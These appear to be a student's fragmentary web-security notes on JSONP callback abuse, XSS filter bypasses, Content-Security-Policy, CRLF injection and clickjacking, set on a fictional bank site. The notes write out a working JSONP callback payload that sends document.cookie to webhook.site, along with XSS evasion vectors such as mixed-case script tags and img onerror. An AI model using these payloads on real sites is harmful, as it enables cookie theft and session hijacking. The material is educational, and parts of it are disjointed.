What did people do before CORS was available?
JSON with Padding
You can’t load a resource from another domain (but you can load a script).
So, return a script which loads the content? 🧠
We have two websites.
Login just has a normal login page and to check if a user has logged in successfully, it needs to get the users from api.quoccabank.com.
Normally you would want to do something like:
api.quoccabank.com/get_users
But we are on different origins! So we cant do that :(
So for api.quoccabank.com, the only way to transmit data that gets around Same origin policy is through javascript sources!
So we setup a jsonp endpoint that will collect the database data, and then return it as a JSON object that is called by a “callback function”.
e.g.
api.quoccabank.com/get_users/jsonp?callback=login
returns
login([
{username:"jesse",password:"epicgamer123"}
{username:"melon",password:"ismellreallybad"}
{username:"george",password:"thanksforwatching!"}
])
Just as plaintext.
Now… if we were to set this endpoint,
api.quoccabank.com/get_users/jsonp?callback=login
as our script source on login.quoccabank.com,
<script src="api.quoccabank.com/get_users/jsonp?callback=login"/> </script>
What would happen?
The HTML on login.quoccabank.com
would then execute that plaintext as javascript!
<script src="api.quoccabank.com/get_users/jsonp?callback=login"/>
login([
{username:"jesse",password:"epicgamer123"}
{username:"melon",password:"ismellreallybad"}
{username:"george",password:"thanksforwatching!"}
])
</script>
Now all we need to do is make sure we have some function defined on login.quoccabank.com
called “login”
function login(data) { // Data from the other website passed into function.
if (data.username == "admin" and data. password == "admin") {
document.cookie = "LOGGED_IN_OR_SOMETHING";
}
}
Because the JSONP is just arbitrarily inserted into this javascript function.
It is just permanently vulnerable to anything…
Just do
/jsonp?callback=fetch("https://webhook.site"%2Bdocument.cookie)\/\/
Which then returns
fetch("https://webhook.site"%2Bdocument.cookie) \/\/([
{username:"jesse",password:"epicgamer123"}
{username:"melon",password:"ismellreallybad"}
{username:"george",password:"thanksforwatching!"}
])
We have arbitrary javascript execution.
Supply a single-use ’nonce’ value.
<input>
<input>
.innerHTML
treats content as HTML (control)
.innerText
which treats it as datasanitize your input with a library (DOMPurify???)
don’t write vanilla JS, use a framework.
<SCRscriptIPT>
<ScRiPt>
<img onerror=...>
<body onload=...>
‘First, XSS ‘protection’ is about to not be implemented by most browsers…’
‘Worse, the XSS ‘protection’ can be used to create security flaws…’
Limits where you can load content from, e.g.
example.com/path
only elements with a certain nonce value
generally blocks iframes, inline scripts, eval()
basically it’s kinda smurfing, it’s hard to bypass
HTTP header
Content-Security-Policy: ???-src <directive>
Or in a tag
<meta http-equiv="Content-Security-Policy" content="???-src <directive>">
<meta>
tag?\r\n
(CR\LF
)\r\n
’s\r\n\r\n
?
A fake form sitting under a real form
if you try to interact with the fake form, you’ll accidentally interact with the real one.
This could be either local, or external
gl with report & support-v2 lul